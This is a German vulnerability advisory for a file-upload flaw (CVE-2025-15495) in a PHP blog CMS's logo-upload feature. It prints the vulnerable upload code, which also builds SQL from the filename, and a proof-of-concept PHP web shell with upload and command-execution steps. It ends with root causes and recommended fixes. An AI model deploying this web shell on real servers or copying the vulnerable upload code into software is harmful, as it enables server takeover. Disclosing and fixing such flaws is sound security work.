CVE-2025-15495 – Beliebiger Datei-Upload führt zu Remote Code Execution (RCE)

Produkt

BiggiDroid – Simple PHP Blog CMS Produktseite: https://biggidroid.com/product/simple-php-blog/

Schwachstellentyp

• Beliebiger Datei-Upload
• Uneingeschränkter Datei-Upload
• Remote Code Execution (RCE)

Schweregrad

Kritisch

CVSS (geschätzt): 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)

Zusammenfassung

Das Simple PHP Blog CMS enthält eine Schwachstelle durch uneingeschränkten Datei-Upload in der Funktion Site-Logo hochladen des Admin-Panels. Ein authentifizierter Angreifer kann eine bösartige PHP-Datei hochladen, die als Bild getarnt ist, in einem webzugänglichen Verzeichnis gespeichert und vom Server ausgeführt wird, was zu Remotebefehlsausführung führt.

Betroffene Komponente

Admin-Panel → Site-Logo aktualisieren

Relevanter verwundbarer Code-Ausschnitt:

$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];

$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");

if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
    // success
}

Probleme

• Keine Validierung der Dateierweiterung
• Keine MIME-Typ-Validierung
• Keine serverseitigen Dateiinhaltsprüfungen

Proof of Concept (PoC)

Erstellen einer bösartigen PHP-Datei

Erstelle eine Datei namens shell.php:

<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>

Datei über das Admin-Panel hochladen

• Im Admin-Panel anmelden
• Zu Site-Logo → Logo aktualisieren navigieren
• shell.php als Logodatei hochladen
• Formular absenden

📌 Die Anwendung akzeptiert die PHP-Datei ohne Validierung

Auf die hochgeladene Web-Shell zugreifen

Nach dem Upload ist die Datei erreichbar unter:

http://127.0.0.1/image/shell.php

Systembefehle ausführen:

http://127.0.0.1/image/shell.php?cmd=dir

Erfolgreiche Befehlsausführung

Der Server führt Betriebssystembefehle aus und gibt die Ausgabe zurück, was Remote Code Execution bestätigt.

Proof of Concept

1. Produktseite
2. Shell von dieser Stelle hochladen.
3. Shell PHP
4. Remote Code Execution
5. Verwundbarer Code

Auswirkungen

Ein Angreifer kann:

• Beliebige Betriebssystembefehle ausführen
• Sensible Konfigurationsdateien auslesen
• Anwendungsdaten ändern oder löschen
• Permanente Hintertüren hochladen
• Den Hosting-Server vollständig kompromittieren

Diese Schwachstelle kann zur vollständigen Serverübernahme führen.

Ursachenanalyse

• Fehlende Whitelist für Dateierweiterungen
• Keine MIME-Typ-Erzwingung
• Direkte Verwendung des vom Benutzer bereitgestellten Dateinamens
• Das Upload-Verzeichnis erlaubt PHP-Ausführung
• Keine .htaccess / Server-Härtung

✅ Empfohlene Korrekturen

1. Dateierweiterungen einschränken

   root@kitploit:~

   $allowed = ['jpg','jpeg','png','gif'];
   

2. MIME-Typ validieren

   root@kitploit:~

   finfo_file()
   

3. Hochgeladene Dateien umbenennen

   • Zufällige UUIDs verwenden
   • Niemals Benutzerdateinamen vertrauen

📚 Referenzen

• OWASP Unrestricted File Upload
• CWE-434: Unrestricted Upload of File with Dangerous Type
• OWASP Top 10 – A03: Injection

🧑‍💻 Entdeckt von

• Mo Asim auch bekannt als Asim Qazi
• GitHub: @Asim-Qazi
• LinkedIn: Asim Qazi
• Student | Sicherheitsforscher